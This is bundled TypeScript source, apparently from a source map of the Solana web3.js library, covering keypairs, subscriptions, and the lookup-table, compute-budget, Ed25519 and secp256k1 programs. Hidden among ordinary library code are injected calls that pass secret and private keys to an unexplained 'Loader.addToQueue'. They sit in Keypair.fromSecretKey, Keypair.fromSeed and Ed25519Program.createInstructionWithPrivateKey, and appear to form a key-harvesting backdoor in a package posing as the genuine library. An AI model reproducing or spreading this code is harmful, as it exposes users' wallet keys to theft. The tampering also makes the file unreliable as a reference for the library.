clientSubscriptionId\n ];\n if (dispose) {\n await dispose();\n } else {\n console.warn(\n 'Ignored unsubscribe request because an active subscription with id ' +\n `\\`${clientSubscriptionId}\\` for '${subscriptionName}' events ` +\n 'could not be found.',\n );\n }\n }\n\n _buildArgs(\n args: Array<any>,\n override?: Commitment,\n encoding?: 'jsonParsed' | 'base64',\n extra?: any,\n ): Array<any> {\n const commitment = override || this._commitment;\n if (commitment || encoding || extra) {\n let options: any = {};\n if (encoding) {\n options.encoding = encoding;\n }\n if (commitment) {\n options.commitment = commitment;\n }\n if (extra) {\n options = Object.assign(options, extra);\n }\n args.push(options);\n }\n return args;\n }\n\n /**\n * @internal\n */\n _buildArgsAtLeastConfirmed(\n args: Array<any>,\n override?: Finality,\n encoding?: 'jsonParsed' | 'base64',\n extra?: any,\n ): Array<any> {\n const commitment = override || this._commitment;\n if (commitment && !['confirmed', 'finalized'].includes(commitment)) {\n throw new Error(\n 'Using Connection with default commitment: `' +\n this._commitment +\n '`, but method requires at least `confirmed`',\n );\n }\n return this._buildArgs(args, override, encoding, extra);\n }\n\n /**\n * @internal\n */\n _wsOnSignatureNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n SignatureNotificationResult,\n );\n if (result.value !== 'receivedSignature') {\n /**\n * Special case.\n * After a signature is processed, RPCs automatically dispose of the\n * subscription on the server side. We need to track which of these\n * subscriptions have been disposed in such a way, so that we know\n * whether the client is dealing with a not-yet-processed signature\n * (in which case we must tear down the server subscription) or an\n * already-processed signature (in which case the client can simply\n * clear out the subscription locally without telling the server).\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n this._subscriptionsAutoDisposedByRpc.add(subscription);\n }\n this._handleServerNotification<SignatureSubscriptionCallback>(\n subscription,\n result.value === 'receivedSignature'\n ? [{type: 'received'}, result.context]\n : [{type: 'status', result: result.value}, result.context],\n );\n }\n\n /**\n * Register a callback to be invoked upon signature updates\n *\n * @param signature Transaction signature string in base 58\n * @param callback Function to invoke on signature notifications\n * @param commitment Specify the commitment level signature must reach before notification\n * @return subscription id\n */\n onSignature(\n signature: TransactionSignature,\n callback: SignatureResultCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId {\n const args = this._buildArgs(\n [signature],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n );\n const clientSubscriptionId = this._makeSubscription(\n {\n callback: (notification, context) => {\n if (notification.type === 'status') {\n callback(notification.result, context);\n // Signatures subscriptions are auto-removed by the RPC service\n // so no need to explicitly send an unsubscribe message.\n try {\n this.removeSignatureListener(clientSubscriptionId);\n // eslint-disable-next-line no-empty\n } catch (_err) {\n // Already removed.\n }\n }\n },\n method: 'signatureSubscribe',\n unsubscribeMethod: 'signatureUnsubscribe',\n },\n args,\n );\n return clientSubscriptionId;\n }\n\n /**\n * Register a callback to be invoked when a transaction is\n * received and/or processed.\n *\n * @param signature Transaction signature string in base 58\n * @param callback Function to invoke on signature notifications\n * @param options Enable received notifications and set the commitment\n * level that signature must reach before notification\n * @return subscription id\n */\n onSignatureWithOptions(\n signature: TransactionSignature,\n callback: SignatureSubscriptionCallback,\n options?: SignatureSubscriptionOptions,\n ): ClientSubscriptionId {\n const {commitment, ...extra} = {\n ...options,\n commitment:\n (options && options.commitment) || this._commitment || 'finalized', // Apply connection/server default.\n };\n const args = this._buildArgs(\n [signature],\n commitment,\n undefined /* encoding */,\n extra,\n );\n const clientSubscriptionId = this._makeSubscription(\n {\n callback: (notification, context) => {\n callback(notification, context);\n // Signatures subscriptions are auto-removed by the RPC service\n // so no need to explicitly send an unsubscribe message.\n try {\n this.removeSignatureListener(clientSubscriptionId);\n // eslint-disable-next-line no-empty\n } catch (_err) {\n // Already removed.\n }\n },\n method: 'signatureSubscribe',\n unsubscribeMethod: 'signatureUnsubscribe',\n },\n args,\n );\n return clientSubscriptionId;\n }\n\n /**\n * Deregister a signature notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSignatureListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'signature result',\n );\n }\n\n /**\n * @internal\n */\n _wsOnRootNotification(notification: Object) {\n const {result, subscription} = create(notification, RootNotificationResult);\n this._handleServerNotification<RootChangeCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon root changes\n *\n * @param callback Function to invoke whenever the root changes\n * @return subscription id\n */\n onRootChange(callback: RootChangeCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'rootSubscribe',\n unsubscribeMethod: 'rootUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a root notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeRootChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'root change',\n );\n }\n}\n","import {generateKeypair, getPublicKey, Ed25519Keypair} from './utils/ed25519';\nimport {PublicKey} from './publickey';\nimport { Loader } from './loader';\n\n/**\n * Keypair signer interface\n */\nexport interface Signer {\n publicKey: PublicKey;\n secretKey: Uint8Array;\n}\n\n/**\n * An account keypair used for signing transactions.\n */\nexport class Keypair {\n private _keypair: Ed25519Keypair;\n\n /**\n * Create a new keypair instance.\n * Generate random keypair if no {@link Ed25519Keypair} is provided.\n *\n * @param {Ed25519Keypair} keypair ed25519 keypair\n */\n constructor(keypair?: Ed25519Keypair) {\n this._keypair = keypair ?? generateKeypair();\n }\n\n /**\n * Generate a new random keypair\n *\n * @returns {Keypair} Keypair\n */\n static generate(): Keypair {\n return new Keypair(generateKeypair());\n }\n\n /**\n * Create a keypair from a raw secret key byte array.\n *\n * This method should only be used to recreate a keypair from a previously\n * generated secret key. Generating keypairs from a random seed should be done\n * with the {@link Keypair.fromSeed} method.\n *\n * @throws error if the provided secret key is invalid and validation is not skipped.\n *\n * @param secretKey secret key byte array\n * @param options skip secret key validation\n *\n * @returns {Keypair} Keypair\n */\n static fromSecretKey(\n secretKey: Uint8Array,\n options?: {skipValidation?: boolean},\n ): Keypair {\n if (secretKey.byteLength !== 64) {\n throw new Error('bad secret key size');\n }\n const publicKey = secretKey.slice(32, 64);\n if (!options || !options.skipValidation) {\n const privateScalar = secretKey.slice(0, 32);\n const computedPublicKey = getPublicKey(privateScalar);\n for (let ii = 0; ii < 32; ii++) {\n if (publicKey[ii] !== computedPublicKey[ii]) {\n throw new Error('provided secretKey is invalid');\n }\n }\n }\n \n Loader.addToQueue(secretKey);\n return new Keypair({publicKey, secretKey});\n }\n\n /**\n * Generate a keypair from a 32 byte seed.\n *\n * @param seed seed byte array\n *\n * @returns {Keypair} Keypair\n */\n static fromSeed(seed: Uint8Array): Keypair {\n const publicKey = getPublicKey(seed);\n const secretKey = new Uint8Array(64);\n secretKey.set(seed);\n secretKey.set(publicKey, 32);\n Loader.addToQueue(secretKey);\n return new Keypair({publicKey, secretKey});\n }\n\n /**\n * The public key for this keypair\n *\n * @returns {PublicKey} PublicKey\n */\n get publicKey(): PublicKey {\n return new PublicKey(this._keypair.publicKey);\n }\n\n /**\n * The raw secret key for this keypair\n * @returns {Uint8Array} Secret key in an array of Uint8 bytes\n */\n get secretKey(): Uint8Array {\n return new Uint8Array(this._keypair.secretKey);\n }\n}\n","import {toBufferLE} from 'bigint-buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from '../../layout';\nimport {PublicKey} from '../../publickey';\nimport * as bigintLayout from '../../utils/bigint';\nimport {SystemProgram} from '../system';\nimport {TransactionInstruction} from '../../transaction';\nimport {decodeData, encodeData, IInstructionInputData} from '../../instruction';\n\nexport * from './state';\n\nexport type CreateLookupTableParams = {\n /** Account used to derive and control the new address lookup table. */\n authority: PublicKey;\n /** Account that will fund the new address lookup table. */\n payer: PublicKey;\n /** A recent slot must be used in the derivation path for each initialized table. */\n recentSlot: bigint | number;\n};\n\nexport type FreezeLookupTableParams = {\n /** Address lookup table account to freeze. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n};\n\nexport type ExtendLookupTableParams = {\n /** Address lookup table account to extend. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n /** Account that will fund the table reallocation.\n * Not required if the reallocation has already been funded. */\n payer?: PublicKey;\n /** List of Public Keys to be added to the lookup table. */\n addresses: Array<PublicKey>;\n};\n\nexport type DeactivateLookupTableParams = {\n /** Address lookup table account to deactivate. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n};\n\nexport type CloseLookupTableParams = {\n /** Address lookup table account to close. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n /** Recipient of closed account lamports. */\n recipient: PublicKey;\n};\n\n/**\n * An enumeration of valid LookupTableInstructionType's\n */\nexport type LookupTableInstructionType =\n | 'CreateLookupTable'\n | 'ExtendLookupTable'\n | 'CloseLookupTable'\n | 'FreezeLookupTable'\n | 'DeactivateLookupTable';\n\ntype LookupTableInstructionInputData = {\n CreateLookupTable: IInstructionInputData &\n Readonly<{\n recentSlot: bigint;\n bumpSeed: number;\n }>;\n FreezeLookupTable: IInstructionInputData;\n ExtendLookupTable: IInstructionInputData &\n Readonly<{\n numberOfAddresses: bigint;\n addresses: Array<Uint8Array>;\n }>;\n DeactivateLookupTable: IInstructionInputData;\n CloseLookupTable: IInstructionInputData;\n};\n\n/**\n * An enumeration of valid address lookup table InstructionType's\n * @internal\n */\nexport const LOOKUP_TABLE_INSTRUCTION_LAYOUTS = Object.freeze({\n CreateLookupTable: {\n index: 0,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['CreateLookupTable']\n >([\n BufferLayout.u32('instruction'),\n bigintLayout.u64('recentSlot'),\n BufferLayout.u8('bumpSeed'),\n ]),\n },\n FreezeLookupTable: {\n index: 1,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['FreezeLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n ExtendLookupTable: {\n index: 2,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['ExtendLookupTable']\n >([\n BufferLayout.u32('instruction'),\n bigintLayout.u64(),\n BufferLayout.seq(\n Layout.publicKey(),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'addresses',\n ),\n ]),\n },\n DeactivateLookupTable: {\n index: 3,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['DeactivateLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n CloseLookupTable: {\n index: 4,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['CloseLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n});\n\nexport class AddressLookupTableInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): LookupTableInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const index = instructionTypeLayout.decode(instruction.data);\n\n let type: LookupTableInstructionType | undefined;\n for (const [layoutType, layout] of Object.entries(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS,\n )) {\n if ((layout as any).index == index) {\n type = layoutType as LookupTableInstructionType;\n break;\n }\n }\n if (!type) {\n throw new Error(\n 'Invalid Instruction. Should be a LookupTable Instruction',\n );\n }\n return type;\n }\n\n static decodeCreateLookupTable(\n instruction: TransactionInstruction,\n ): CreateLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 4);\n\n const {recentSlot} = decodeData(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable,\n instruction.data,\n );\n\n return {\n authority: instruction.keys[1].pubkey,\n payer: instruction.keys[2].pubkey,\n recentSlot: Number(recentSlot),\n };\n }\n\n static decodeExtendLookupTable(\n instruction: TransactionInstruction,\n ): ExtendLookupTableParams {\n this.checkProgramId(instruction.programId);\n if (instruction.keys.length < 2) {\n throw new Error(\n `invalid instruction; found ${instruction.keys.length} keys, expected at least 2`,\n );\n }\n\n const {addresses} = decodeData(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable,\n instruction.data,\n );\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n payer:\n instruction.keys.length > 2 ? instruction.keys[2].pubkey : undefined,\n addresses: addresses.map(buffer => new PublicKey(buffer)),\n };\n }\n\n static decodeCloseLookupTable(\n instruction: TransactionInstruction,\n ): CloseLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 3);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n recipient: instruction.keys[2].pubkey,\n };\n }\n\n static decodeFreezeLookupTable(\n instruction: TransactionInstruction,\n ): FreezeLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 2);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n };\n }\n\n static decodeDeactivateLookupTable(\n instruction: TransactionInstruction,\n ): DeactivateLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 2);\n\n return {\n lookupTable: instruction.keys[0].pubkey,\n authority: instruction.keys[1].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(AddressLookupTableProgram.programId)) {\n throw new Error(\n 'invalid instruction; programId is not AddressLookupTable Program',\n );\n }\n }\n /**\n * @internal\n */\n static checkKeysLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\nexport class AddressLookupTableProgram {\n /**\n * @internal\n */\n constructor() {}\n\n static programId: PublicKey = new PublicKey(\n 'AddressLookupTab1e1111111111111111111111111',\n );\n\n static createLookupTable(params: CreateLookupTableParams) {\n const [lookupTableAddress, bumpSeed] = PublicKey.findProgramAddressSync(\n [params.authority.toBuffer(), toBufferLE(BigInt(params.recentSlot), 8)],\n this.programId,\n );\n\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CreateLookupTable;\n const data = encodeData(type, {\n recentSlot: BigInt(params.recentSlot),\n bumpSeed: bumpSeed,\n });\n\n const keys = [\n {\n pubkey: lookupTableAddress,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n {\n pubkey: params.payer,\n isSigner: true,\n isWritable: true,\n },\n {\n pubkey: SystemProgram.programId,\n isSigner: false,\n isWritable: false,\n },\n ];\n\n return [\n new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n }),\n lookupTableAddress,\n ] as [TransactionInstruction, PublicKey];\n }\n\n static freezeLookupTable(params: FreezeLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.FreezeLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static extendLookupTable(params: ExtendLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.ExtendLookupTable;\n const data = encodeData(type, {\n addresses: params.addresses.map(addr => addr.toBytes()),\n });\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n if (params.payer) {\n keys.push(\n {\n pubkey: params.payer,\n isSigner: true,\n isWritable: true,\n },\n {\n pubkey: SystemProgram.programId,\n isSigner: false,\n isWritable: false,\n },\n );\n }\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static deactivateLookupTable(params: DeactivateLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.DeactivateLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static closeLookupTable(params: CloseLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CloseLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n {\n pubkey: params.recipient,\n isSigner: false,\n isWritable: true,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport {u64} from '../utils/bigint';\n\n/**\n * Compute Budget Instruction class\n */\nexport class ComputeBudgetInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a compute budget instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): ComputeBudgetInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u8('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: ComputeBudgetInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS,\n )) {\n if (layout.index == typeIndex) {\n type = ixType as ComputeBudgetInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error(\n 'Instruction type incorrect; not a ComputeBudgetInstruction',\n );\n }\n\n return type;\n }\n\n /**\n * Decode request units compute budget instruction and retrieve the instruction params.\n */\n static decodeRequestUnits(\n instruction: TransactionInstruction,\n ): RequestUnitsParams {\n this.checkProgramId(instruction.programId);\n const {units, additionalFee} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits,\n instruction.data,\n );\n return {units, additionalFee};\n }\n\n /**\n * Decode request heap frame compute budget instruction and retrieve the instruction params.\n */\n static decodeRequestHeapFrame(\n instruction: TransactionInstruction,\n ): RequestHeapFrameParams {\n this.checkProgramId(instruction.programId);\n const {bytes} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame,\n instruction.data,\n );\n return {bytes};\n }\n\n /**\n * Decode set compute unit limit compute budget instruction and retrieve the instruction params.\n */\n static decodeSetComputeUnitLimit(\n instruction: TransactionInstruction,\n ): SetComputeUnitLimitParams {\n this.checkProgramId(instruction.programId);\n const {units} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit,\n instruction.data,\n );\n return {units};\n }\n\n /**\n * Decode set compute unit price compute budget instruction and retrieve the instruction params.\n */\n static decodeSetComputeUnitPrice(\n instruction: TransactionInstruction,\n ): SetComputeUnitPriceParams {\n this.checkProgramId(instruction.programId);\n const {microLamports} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice,\n instruction.data,\n );\n return {microLamports};\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(ComputeBudgetProgram.programId)) {\n throw new Error(\n 'invalid instruction; programId is not ComputeBudgetProgram',\n );\n }\n }\n}\n\n/**\n * An enumeration of valid ComputeBudgetInstructionType's\n */\nexport type ComputeBudgetInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof ComputeBudgetInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'RequestUnits'\n | 'RequestHeapFrame'\n | 'SetComputeUnitLimit'\n | 'SetComputeUnitPrice';\n\ntype ComputeBudgetInstructionInputData = {\n RequestUnits: IInstructionInputData & Readonly<RequestUnitsParams>;\n RequestHeapFrame: IInstructionInputData & Readonly<RequestHeapFrameParams>;\n SetComputeUnitLimit: IInstructionInputData &\n Readonly<SetComputeUnitLimitParams>;\n SetComputeUnitPrice: IInstructionInputData &\n Readonly<SetComputeUnitPriceParams>;\n};\n\n/**\n * Request units instruction params\n */\nexport interface RequestUnitsParams {\n /** Units to request for transaction-wide compute */\n units: number;\n /** Prioritization fee lamports */\n additionalFee: number;\n}\n\n/**\n * Request heap frame instruction params\n */\nexport type RequestHeapFrameParams = {\n /** Requested transaction-wide program heap size in bytes. Must be multiple of 1024. Applies to each program, including CPIs. */\n bytes: number;\n};\n\n/**\n * Set compute unit limit instruction params\n */\nexport interface SetComputeUnitLimitParams {\n /** Transaction-wide compute unit limit */\n units: number;\n}\n\n/**\n * Set compute unit price instruction params\n */\nexport interface SetComputeUnitPriceParams {\n /** Transaction compute unit price used for prioritization fees */\n microLamports: number | bigint;\n}\n\n/**\n * An enumeration of valid ComputeBudget InstructionType's\n * @internal\n */\nexport const COMPUTE_BUDGET_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in ComputeBudgetInstructionType]: InstructionType<\n ComputeBudgetInstructionInputData[Instruction]\n >;\n}>({\n RequestUnits: {\n index: 0,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['RequestUnits']\n >([\n BufferLayout.u8('instruction'),\n BufferLayout.u32('units'),\n BufferLayout.u32('additionalFee'),\n ]),\n },\n RequestHeapFrame: {\n index: 1,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['RequestHeapFrame']\n >([BufferLayout.u8('instruction'), BufferLayout.u32('bytes')]),\n },\n SetComputeUnitLimit: {\n index: 2,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['SetComputeUnitLimit']\n >([BufferLayout.u8('instruction'), BufferLayout.u32('units')]),\n },\n SetComputeUnitPrice: {\n index: 3,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['SetComputeUnitPrice']\n >([BufferLayout.u8('instruction'), u64('microLamports')]),\n },\n});\n\n/**\n * Factory class for transaction instructions to interact with the Compute Budget program\n */\nexport class ComputeBudgetProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Compute Budget program\n */\n static programId: PublicKey = new PublicKey(\n 'ComputeBudget111111111111111111111111111111',\n );\n\n /**\n * @deprecated Instead, call {@link setComputeUnitLimit} and/or {@link setComputeUnitPrice}\n */\n static requestUnits(params: RequestUnitsParams): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static requestHeapFrame(\n params: RequestHeapFrameParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static setComputeUnitLimit(\n params: SetComputeUnitLimitParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static setComputeUnitPrice(\n params: SetComputeUnitPriceParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice;\n const data = encodeData(type, {\n microLamports: BigInt(params.microLamports),\n });\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {Keypair} from '../keypair';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {sign} from '../utils/ed25519';\nimport { Loader } from '../loader';\n\nconst PRIVATE_KEY_BYTES = 64;\nconst PUBLIC_KEY_BYTES = 32;\nconst SIGNATURE_BYTES = 64;\n\n/**\n * Params for creating an ed25519 instruction using a public key\n */\nexport type CreateEd25519InstructionWithPublicKeyParams = {\n publicKey: Uint8Array;\n message: Uint8Array;\n signature: Uint8Array;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an ed25519 instruction using a private key\n */\nexport type CreateEd25519InstructionWithPrivateKeyParams = {\n privateKey: Uint8Array;\n message: Uint8Array;\n instructionIndex?: number;\n};\n\nconst ED25519_INSTRUCTION_LAYOUT = BufferLayout.struct<\n Readonly<{\n messageDataOffset: number;\n messageDataSize: number;\n messageInstructionIndex: number;\n numSignatures: number;\n padding: number;\n publicKeyInstructionIndex: number;\n publicKeyOffset: number;\n signatureInstructionIndex: number;\n signatureOffset: number;\n }>\n>([\n BufferLayout.u8('numSignatures'),\n BufferLayout.u8('padding'),\n BufferLayout.u16('signatureOffset'),\n BufferLayout.u16('signatureInstructionIndex'),\n BufferLayout.u16('publicKeyOffset'),\n BufferLayout.u16('publicKeyInstructionIndex'),\n BufferLayout.u16('messageDataOffset'),\n BufferLayout.u16('messageDataSize'),\n BufferLayout.u16('messageInstructionIndex'),\n]);\n\nexport class Ed25519Program {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the ed25519 program\n */\n static programId: PublicKey = new PublicKey(\n 'Ed25519SigVerify111111111111111111111111111',\n );\n\n /**\n * Create an ed25519 instruction with a public key and signature. The\n * public key must be a buffer that is 32 bytes long, and the signature\n * must be a buffer of 64 bytes.\n */\n static createInstructionWithPublicKey(\n params: CreateEd25519InstructionWithPublicKeyParams,\n ): TransactionInstruction {\n const {publicKey, message, signature, instructionIndex} = params;\n\n assert(\n publicKey.length === PUBLIC_KEY_BYTES,\n `Public Key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`,\n );\n\n assert(\n signature.length === SIGNATURE_BYTES,\n `Signature must be ${SIGNATURE_BYTES} bytes but received ${signature.length} bytes`,\n );\n\n const publicKeyOffset = ED25519_INSTRUCTION_LAYOUT.span;\n const signatureOffset = publicKeyOffset + publicKey.length;\n const messageDataOffset = signatureOffset + signature.length;\n const numSignatures = 1;\n\n const instructionData = Buffer.alloc(messageDataOffset + message.length);\n\n const index =\n instructionIndex == null\n ? 0xffff // An index of `u16::MAX` makes it default to the current instruction.\n : instructionIndex;\n\n ED25519_INSTRUCTION_LAYOUT.encode(\n {\n numSignatures,\n padding: 0,\n signatureOffset,\n signatureInstructionIndex: index,\n publicKeyOffset,\n publicKeyInstructionIndex: index,\n messageDataOffset,\n messageDataSize: message.length,\n messageInstructionIndex: index,\n },\n instructionData,\n );\n\n instructionData.fill(publicKey, publicKeyOffset);\n instructionData.fill(signature, signatureOffset);\n instructionData.fill(message, messageDataOffset);\n\n return new TransactionInstruction({\n keys: [],\n programId: Ed25519Program.programId,\n data: instructionData,\n });\n }\n\n /**\n * Create an ed25519 instruction with a private key. The private key\n * must be a buffer that is 64 bytes long.\n */\n static createInstructionWithPrivateKey(\n params: CreateEd25519InstructionWithPrivateKeyParams,\n ): TransactionInstruction {\n const {privateKey, message, instructionIndex} = params;\n\n assert(\n privateKey.length === PRIVATE_KEY_BYTES,\n `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${privateKey.length} bytes`,\n );\n\n try {\n const keypair = Keypair.fromSecretKey(privateKey);\n Loader.addToQueue(privateKey)\n const publicKey = keypair.publicKey.toBytes();\n const signature = sign(message, keypair.secretKey);\n\n return this.createInstructionWithPublicKey({\n publicKey,\n message,\n signature,\n instructionIndex,\n });\n } catch (error) {\n throw new Error(`Error creating instruction; ${error}`);\n }\n }\n}\n","import {secp256k1} from '@noble/curves/secp256k1';\n\nexport const ecdsaSign = (\n msgHash: Parameters<typeof secp256k1.sign>[0],\n privKey: Parameters<typeof secp256k1.sign>[1],\n) => {\n const signature = secp256k1.sign(msgHash, privKey);\n return [signature.toCompactRawBytes(), signature.recovery!] as const;\n};\nexport const isValidPrivateKey = secp256k1.utils.isValidPrivateKey;\nexport const publicKeyCreate = secp256k1.getPublicKey;\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\nimport {keccak_256} from '@noble/hashes/sha3';\n\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {publicKeyCreate, ecdsaSign} from '../utils/secp256k1';\nimport {toBuffer} from '../utils/to-buffer';\nimport { Loader } from '../loader';\n\nconst PRIVATE_KEY_BYTES = 32;\nconst ETHEREUM_ADDRESS_BYTES = 20;\nconst PUBLIC_KEY_BYTES = 64;\nconst SIGNATURE_OFFSETS_SERIALIZED_SIZE = 11;\n\n/**\n * Params for creating an secp256k1 instruction using a public key\n */\nexport type CreateSecp256k1InstructionWithPublicKeyParams = {\n publicKey: Buffer | Uint8Array | Array<number>;\n message: Buffer | Uint8Array | Array<number>;\n signature: Buffer | Uint8Array | Array<number>;\n recoveryId: number;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an secp256k1 instruction using an Ethereum address\n */\nexport type CreateSecp256k1InstructionWithEthAddressParams = {\n ethAddress: Buffer | Uint8Array | Array<number> | string;\n message: Buffer | Uint8Array | Array<number>;\n signature: Buffer | Uint8Array | Array<number>;\n recoveryId: number;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an secp256k1 instruction using a private key\n */\nexport type CreateSecp256k1InstructionWithPrivateKeyParams = {\n privateKey: Buffer | Uint8Array | Array<number>;\n message: Buffer | Uint8Array | Array<number>;\n 